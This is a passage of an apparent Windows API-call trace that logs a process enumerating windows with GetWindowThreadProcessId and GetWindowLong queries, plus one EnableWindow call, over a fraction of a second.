GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0125.395] GetDesktopWindow () returned 0x10010 [0125.396] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.396] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.396] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.396] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0125.397] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0125.397] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0125.397] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.397] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.397] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.397] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.398] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.398] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.398] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.398] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.398] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.398] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.398] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.399] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0125.399] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.399] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.399] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.399] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0125.399] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0125.399] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0125.399] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.399] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0125.399] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0125.400] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0125.400] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.400] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0125.400] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0125.400] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0125.400] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.400] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0125.400] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0125.400] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0125.400] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.400] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0125.400] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0125.400] IsWindowEnabled (hWnd=0x20360) returned 0 [0125.400] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0125.400] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0125.400] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0125.401] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.401] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0125.401] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0125.401] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.401] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0125.401] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0125.401] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0125.401] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.401] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0125.401] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0125.401] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0125.401] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.401] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0125.401] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0125.401] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0125.402] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.402] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0125.402] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0125.402] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0125.402] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0125.402] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.402] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0125.402] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0125.402] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0125.402] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.402] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0125.402] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0125.403] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.403] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0125.403] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0125.403] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0125.403] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.403] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.403] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.403] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.403] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.404] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.404] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0125.404] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0125.404] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0125.404] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0125.405] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0125.405] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0125.405] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0125.405] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0125.405] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0125.406] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0125.406] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0125.406] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0125.406] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0125.407] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0125.407] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0125.407] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0125.407] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0125.407] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0125.408] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0125.408] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0125.408] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0125.408] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0125.408] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0125.409] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0125.409] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0125.409] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0125.409] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0125.409] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0125.410] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0125.410] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0125.410] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0125.410] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0125.410] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0125.411] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0125.411] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0125.411] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0125.411] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0125.411] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0125.412] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0125.412] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0125.412] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0125.412] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0125.412] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0125.413] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0125.413] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0125.413] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0125.413] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0125.413] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0125.414] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0125.414] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0125.414] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0125.414] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0125.415] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0125.415] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0125.415] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0125.415] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0125.415] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0125.416] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0125.416] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0125.416] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0125.416] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0125.416] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0125.417] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0125.417] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0125.417] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0125.417] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0125.417] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0125.418] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0125.418] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0125.418] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0125.418] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0125.418] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0125.419] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0125.419] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0125.419] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0125.419] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0125.419] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0125.420] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0125.420] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0125.420] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0125.420] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0125.420] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0125.420] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0125.421] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0125.421] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0125.421] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0125.421] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0125.421] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0125.422] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0125.422] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0125.422] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0125.422] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0125.422] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0125.423] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0125.423] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0125.423] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0125.423] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0125.423] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0125.424] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0125.424] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0125.424] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0125.424] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0125.424] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0125.425] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0125.425] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0125.425] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0125.425] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0125.425] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0125.425] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0125.426] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0125.426] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0125.426] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0125.426] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0125.426] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0125.426] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0125.427] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0125.427] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0125.427] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0125.427] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0125.427] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0125.427] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0125.428] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0125.428] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0125.428] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0125.428] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0125.428] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0125.428] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0125.429] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0125.429] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0125.429] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0125.429] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0125.429] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0125.429] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0125.430] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0125.430] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0125.430] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0125.430] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0125.430] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0125.431] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0125.431] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0125.431] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0125.431] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0125.431] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0125.432] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0125.432] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0125.432] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0125.432] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0125.432] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0125.433] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0125.433] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0125.433] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 